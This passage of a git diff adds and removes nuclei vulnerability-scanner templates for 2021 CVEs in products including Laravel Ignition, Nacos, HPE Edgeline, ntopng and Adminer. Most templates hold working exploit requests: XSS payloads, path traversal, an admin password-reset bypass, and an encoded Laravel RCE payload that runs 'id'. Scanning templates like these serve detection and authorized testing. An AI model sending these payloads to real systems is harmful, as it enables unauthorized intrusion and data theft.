method: GET + path: + - '{{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0' + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'highlightSearchTerms("x" onmouseover=alert(1) x="");' + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-27850.yaml b/nuclei-templates/CVE-2021/CVE-2021-27850.yaml deleted file mode 100644 index 22a15c83a9..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-27850.yaml +++ /dev/null @@ -1,57 +0,0 @@ -id: CVE-2021-27850 - -info: - name: Apache Tapestry - Arbitrary class download - description: | - A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL. - author: pdteam - severity: critical - reference: | - - https://nvd.nist.gov/vuln/detail/CVE-2021-27850 - tags: cve,cve2021,apache,tapestry - -requests: - - raw: - - | - GET /assets/app/something/services/AppModule.class/ HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Connection: close - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 - Accept-Language: en-US,en;q=0.9 - - | - GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Connection: close - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 - Accept-Language: en-US,en;q=0.9 - - extractors: - - type: regex - regex: - - '\/assets\/app\/([a-z0-9]+)\/services\/AppMod' - internal: true - name: id - part: header - group: 1 - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - 'application/java' - part: header - - - type: word - words: - - 'configuration' - - 'webtools' - part: body - condition: and diff --git a/nuclei-templates/CVE-2021/CVE-2021-28073.yaml b/nuclei-templates/CVE-2021/CVE-2021-28073.yaml new file mode 100644 index 0000000000..bbafc18c65 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-28073.yaml @@ -0,0 +1,41 @@ +id: CVE-2021-28073 + +info: + name: Ntopng Authentication Bypass + author: z3bd + severity: critical + description: Ntopng, a passive network monitoring tool, contains an authentication bypass vulnerability in ntopng <= 4.2 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-27573 + - http://noahblog.360.cn/ntopng-multiple-vulnerabilities/ + - https://github.com/AndreaOm/docs/blob/c27d2db8dbedb35c9e69109898aaecd0f849186a/wikipoc/PeiQi_Wiki/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/HongKe/HongKe%20ntopng%20%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90%E7%B3%BB%E7%BB%9F%20%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2021-28073.md + classification: + cve-id: CVE-2021-28073 + remediation: Upgrade to version 4.3 or later. + tags: ntopng,cve,cve2021 + +requests: + - method: GET + path: + - "{{BaseURL}}/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css" + - "{{BaseURL}}/lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css" + + matchers-condition: and + matchers: + - type: word + words: + - "application/json" + part: header + + - type: word + words: + - '"results":' + - '"name":' + - '"tab":' + condition: and + + - type: status + status: + - 200 + +# Enhanced by cs on 2022/02/22 diff --git a/nuclei-templates/CVE-2021/CVE-2021-28169.yaml b/nuclei-templates/CVE-2021/CVE-2021-28169.yaml deleted file mode 100644 index 09ad71064e..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-28169.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-28169 - -info: - name: Jetty Utility Servlets Information Disclosure - author: pikpikcu - severity: medium - reference: | - - https://twitter.com/sec715/status/1406787963569065988 - - https://nvd.nist.gov/vuln/detail/CVE-2021-28169 - description: | - For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory. - tags: cve,cve2021,jetty - -requests: - - method: GET - path: - - "{{BaseURL}}/static?/%2557EB-INF/web.xml" - - "{{BaseURL}}/concat?/%2557EB-INF/web.xml" - - matchers-condition: and - matchers: - - - type: word - words: - - "application/xml" - part: header - - - type: word - words: - - "" - - "java.sun.com" - part: body - condition: and - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-28937.yaml b/nuclei-templates/CVE-2021/CVE-2021-28937.yaml new file mode 100644 index 0000000000..afb05c10f6 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-28937.yaml @@ -0,0 +1,33 @@ +id: CVE-2021-28937 + +info: + name: Acexy Wireless-N WiFi Repeater Password Disclosure + author: geeknik + severity: high + description: The password.html page of the Web management interface of the Acexy Wireless-N WiFi Repeater REV 1.0 contains the administrator account password in plaintext. + reference: + - https://blog-ssh3ll.medium.com/acexy-wireless-n-wifi-repeater-vulnerabilities-8bd5d14a2990 + - http://acexy.com + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-28937 + cwe-id: CWE-312 + tags: cve,cve2021,acexy,disclosure,iot + +requests: + - method: GET + path: + - "{{BaseURL}}/password.html" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "Password Setting" + - "addCfg('username'" + - "addCfg('newpass'" + condition: and diff --git a/nuclei-templates/CVE-2021/CVE-2021-29156.yaml b/nuclei-templates/CVE-2021/CVE-2021-29156.yaml new file mode 100644 index 0000000000..b92aededf1 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-29156.yaml @@ -0,0 +1,21 @@ +id: CVE-2021-29156 + +info: + name: LDAP Injection In Openam + author: melbadry9,xelkomy + severity: high + tags: cve,cve2021,openam + description: The vulnerability was found in the password reset feature that OpenAM provides. When a user tries to reset his password, he is asked to enter his username then the backend validates whether the user exists or not through an LDAP query before the password reset token is sent to the user’s email. + reference: https://blog.cybercastle.io/ldap-injection-in-openam/ + +requests: + - method: GET + path: + - "{{BaseURL}}/openam/ui/PWResetUserValidation" + - "{{BaseURL}}/OpenAM-11.0.0/ui/PWResetUserValidation" + - "{{BaseURL}}/ui/PWResetUserValidation" + + matchers: + - type: dsl + dsl: + - 'contains(body, "jato.pageSession") && status_code==200' diff --git a/nuclei-templates/CVE-2021/CVE-2021-29203.yaml b/nuclei-templates/CVE-2021/CVE-2021-29203.yaml new file mode 100644 index 0000000000..92cbe77690 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-29203.yaml @@ -0,0 +1,52 @@ +id: CVE-2021-29203 +info: + name: HPE Edgeline Infrastructure Manager v1.21 Authentication Bypass + author: madrobot + severity: critical + tags: hpe,cve,cve2021,bypass + reference: | + - https://www.tenable.com/security/research/tra-2021-15 + - https://nvd.nist.gov/vuln/detail/CVE-2021-29203 + +requests: + - raw: + - | + PATCH /redfish/v1/SessionService/ResetPassword/1/ HTTP/1.1 + Host: {{Hostname}} + Accept-Language: en + Accept: */* + Content-Length: 23 + Content-Type: application/json + Connection: close + + {"Password":"{{randstr}}"} + + - | + POST /redfish/v1/SessionService/Sessions/ HTTP/1.1 + Host: {{Hostname}} + Accept-Language: en + Content-Length: 50 + Content-Type: application/json + Connection: close + + {"UserName":"Administrator","Password":"{{randstr}}"} + + matchers-condition: and + matchers: + + - type: status + status: + - 201 + + - type: word + condition: and + part: header + words: + - "X-Auth-Token" + - "PasswordReset" + - "Location" + + - type: word + part: body + words: + - "Base.1.0.Created" diff --git a/nuclei-templates/CVE-2021/CVE-2021-29441.yaml b/nuclei-templates/CVE-2021/CVE-2021-29441.yaml new file mode 100644 index 0000000000..ac947cde4f --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-29441.yaml @@ -0,0 +1,49 @@ +id: CVE-2021-29441 + +info: + name: Nacos prior to 1.4.1 Authentication Bypass + description: | + This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5. + + In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true) + Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that + enables Nacos servers to bypass this filter and therefore skip authentication checks. + This mechanism relies on the user-agent HTTP header so it can be easily spoofed. + This issue may allow any user to carry out any administrative tasks on the Nacos server. + author: dwisiswant0 + severity: high + reference: https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/ + tags: nacos,auth-bypass,cve,cve2021 + +requests: + - raw: + - | + POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1 + Host: {{Hostname}} + Accept: */* + + - | + POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1 + Host: {{Hostname}} + Accept: */* + User-Agent: Nacos-Server + + req-condition: true + matchers-condition: and + matchers: + - type: dsl + dsl: + - "status_code_1 == 403" + - "status_code_2 == 200" + condition: and + + - type: dsl + dsl: + - "contains(body_1, 'Forbidden')" + - "body_2 == 'true'" + condition: and + + - type: word + words: + - "application/json" + part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-29442.yaml b/nuclei-templates/CVE-2021/CVE-2021-29442.yaml new file mode 100644 index 0000000000..9f495334b8 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-29442.yaml @@ -0,0 +1,39 @@ +id: CVE-2021-29442 + +info: + name: Nacos prior to 1.4.1 Missing Authentication Check + author: dwisiswant0 + severity: high + description: | + In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. + While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. + These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql) + reference: + - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/ + - https://github.com/alibaba/nacos/issues/4463 + - https://github.com/alibaba/nacos/pull/4517 + - https://github.com/advisories/GHSA-36hp-jr8h-556f + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-29442 + cwe-id: CWE-306 + tags: nacos,auth-bypass,cve,cve2021 + +requests: + - method: GET + path: + - "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "application/json" + part: header + - type: regex + regex: + - "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\"" + part: body diff --git a/nuclei-templates/CVE-2021/CVE-2021-29484.yaml b/nuclei-templates/CVE-2021/CVE-2021-29484.yaml new file mode 100644 index 0000000000..937184490c --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-29484.yaml @@ -0,0 +1,39 @@ +id: CVE-2021-29484 + +info: + name: DOM XSS in Ghost CMS + author: rootxharsh,iamnoooob + severity: medium + description: Ghost is a Node.js CMS. An unused endpoint added during the development of 4.0.0 has left sites vulnerable to untrusted users gaining access to Ghost Admin. Attackers can gain access by getting logged in users to click a link containing malicious code. Users do not need to enter credentials and may not know they've visited a malicious site. + reference: + - https://github.com/TryGhost/Ghost/security/advisories/GHSA-9fgx-q25h-jxrg + - https://nvd.nist.gov/vuln/detail/CVE-2021-29484 + - https://www.npmjs.com/package/ghost + - https://forum.ghost.org/t/critical-security-update-available-for-ghost-4-x/22290 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-29484 + cwe-id: CWE-79 + tags: cve,cve2021,xss,ghost + +requests: + - method: GET + path: + - "{{BaseURL}}/ghost/preview" + + matchers-condition: and + matchers: + - type: word + words: + - 'XMLHttpRequest.prototype.open' + part: body + + - type: word + words: + - 'text/html' + part: header + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-29625.yaml b/nuclei-templates/CVE-2021/CVE-2021-29625.yaml deleted file mode 100644 index 70287d1af1..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-29625.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-29625 - -info: - name: Adminer reflected XSS via the table parameter - author: daffainfo - severity: medium - description: Adminer is open-source database management software. A cross-site scripting vulnerability in Adminer versions 4.6.1 to 4.8.0 affects users of MySQL, MariaDB, PgSQL and SQLite. XSS is in most cases prevented by strict CSP in all modern browsers. The only exception is when Adminer is using a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled). In browsers without CSP, Adminer versions 4.6.1 to 4.8.0 are affected. The vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`). - reference: - - https://sourceforge.net/p/adminer/bugs-and-features/797/ - - https://www.cvedetails.com/cve/CVE-2021-29625/ - - https://github.com/vrana/adminer/commit/4043092ec2c0de2258d60a99d0c5958637d051a7 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-29625 - cwe-id: CWE-79 - tags: cve,cve2021,adminer,xss - -requests: - - method: GET - path: - - '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: word - words: - - "text/html" - part: header - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-30049.yaml b/nuclei-templates/CVE-2021/CVE-2021-30049.yaml new file mode 100644 index 0000000000..6cff3a24b3 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-30049.yaml @@ -0,0 +1,37 @@ +id: CVE-2021-30049 + +info: + name: SysAid Technologies 20.3.64 b14 Reflected XSS + author: daffainfo + severity: medium + description: SysAid 20.3.64 b14 is affected by Cross Site Scripting (XSS) via a /KeepAlive.jsp?stamp= URI. + reference: + - https://eh337.net/2021/03/30/sysaid/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30049 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-30049 + cwe-id: CWE-79 + tags: cve,cve2021,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-3017.yaml b/nuclei-templates/CVE-2021/CVE-2021-3017.yaml deleted file mode 100644 index 7a07931362..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-3017.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2021-3017 - -info: - name: Intelbras WIN 300/WRN 342 Credential Disclosure - author: pikpikcu - severity: high - description: Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code. - reference: - - https://poc.wgpsec.org/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/Intelbras/Intelbras%20Wireless%20%E6%9C%AA%E6%8E%88%E6%9D%83%E4%B8%8E%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%20CVE-2021-3017.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-3017 - - https://www.intelbras.com/pt-br/ajuda-download/faq/roteador-wireless-veloz-wrn-342 - - https://pastebin.com/cTYTf0Yn - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-3017 - tags: cve,cve2021,exposure,router - -requests: - - method: GET - path: - - "{{BaseURL}}/index.asp" - - matchers-condition: and - matchers: - - type: word - words: - - 'def_wirelesspassword =' - - 'Roteador Wireless' - part: body - condition: and - - - type: status - status: - - 200 - - extractors: - - type: regex - part: body - regex: - - 'def_wirelesspassword = "([A-Za-z0-9=]+)";' - -# Enhanced by mp on 2022/03/30 diff --git a/nuclei-templates/CVE-2021/CVE-2021-3129.yaml b/nuclei-templates/CVE-2021/CVE-2021-3129.yaml new file mode 100644 index 0000000000..2b15e89032 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-3129.yaml @@ -0,0 +1,89 @@ +id: CVE-2021-3129 + +info: + name: Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution + author: z3bd,pdteam + severity: critical + description: Laravel version 8.4.2 and before with Ignition before 2.5.2 allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2. + reference: + - https://www.ambionics.io/blog/laravel-debug-rce + - https://github.com/vulhub/vulhub/tree/master/laravel/CVE-2021-3129 + - https://nvd.nist.gov/vuln/detail/CVE-2021-3129 + - https://github.com/facade/ignition/pull/334 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-3129 + tags: cve,cve2021,laravel,rce + +requests: + - raw: + - | + POST /_ignition/execute-solution HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} + + - | + POST /_ignition/execute-solution HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} + + - | + POST /_ignition/execute-solution HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "AA"}} + + - | + POST /_ignition/execute-solution HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4C=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=45=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=56=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=57=00=59=00=57=00=78=00=70=00=5A=00=47=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=6D=00=56=00=34=00=64=00=47=00=56=00=75=00=63=00=32=00=6C=00=76=00=62=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=77=00=4F=00=69=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4D=00=6A=00=6F=00=69=00=61=00=57=00=51=00=69=00=4F=00=33=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=63=00=4A=00=39=00=59=00=36=00=5A=00=6B=00=50=00=61=00=39=00=61=00=45=00=49=00=51=00=49=00=45=00=47=00=30=00=6B=00=4A=00=2B=00=39=00=4A=00=50=00=6B=00=4C=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"}} + + - | + POST /_ignition/execute-solution HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} + + - | + POST /_ignition/execute-solution HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "phar://../storage/logs/laravel.log/test.txt"}} + + matchers-condition: and + matchers: + - type: status + status: + - 500 + + - type: word + words: + - "uid=" + - "gid=" + - "groups=" + - "Illuminate" + part: body + condition: and + + extractors: + - type: regex + regex: + - "(u|g)id=.*" + +# Enhanced by mp on 2022/05/17 diff --git a/nuclei-templates/CVE-2021/CVE-2021-31537.yaml b/nuclei-templates/CVE-2021/CVE-2021-31537.yaml new file mode 100644 index 0000000000..0e40527eea --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-31537.yaml @@ -0,0 +1,28 @@ +id: CVE-2021-31537 + +info: + name: SIS-REWE GO version 7.5.0/12C XSS + author: geeknik + description: SIS SIS-REWE Go before 7.7 SP17 allows XSS -- rewe/prod/web/index.php (affected parameters are config, version, win, db, pwd, and user) and /rewe/prod/web/rewe_go_check.php (version and all other parameters). + reference: https://sec-consult.com/vulnerability-lab/advisory/reflected-xss-sis-infromatik-rewe-go-cve-2021-31537/ + severity: medium + tags: cve,cve2021,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm({{randstr}})%3c%2fscript%3e&win=2707" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "SIS-REWE" + condition: and + + - type: word + part: header + words: + - "text/html" diff --git a/nuclei-templates/CVE-2021/CVE-2021-31602.yaml b/nuclei-templates/CVE-2021/CVE-2021-31602.yaml new file mode 100644 index 0000000000..133cdd0d9f --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-31602.yaml @@ -0,0 +1,45 @@ +id: CVE-2021-31602 + +info: + name: Hitachi Vantara Pentaho/Business Intelligence Server - Authentication Bypass + author: pussycat0x + severity: high + description: Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x are vulnerable to authentication bypass. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials. + reference: + - https://seclists.org/fulldisclosure/2021/Nov/13 + - https://portswigger.net/daily-swig/remote-code-execution-sql-injection-bugs-uncovered-in-pentaho-business-analytics-software + - https://hawsec.com/publications/pentaho/HVPENT210401-Pentaho-BA-Security-Assessment-Report-v1_1.pdf + - https://www.hitachi.com/hirt/security/index.html + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31602 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-31602 + cwe-id: CWE-863 + epss-score: 0.4123 + metadata: + max-request: 2 + shodan-query: Pentaho + tags: spring,seclists,cve,cve2021,pentaho,auth-bypass + +http: + - method: GET + path: + - "{{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js" + - "{{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '' + - 'Anonymous' + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/15 diff --git a/nuclei-templates/CVE-2021/cve-2021-31800.yaml b/nuclei-templates/CVE-2021/CVE-2021-31800.yaml similarity index 100% rename from 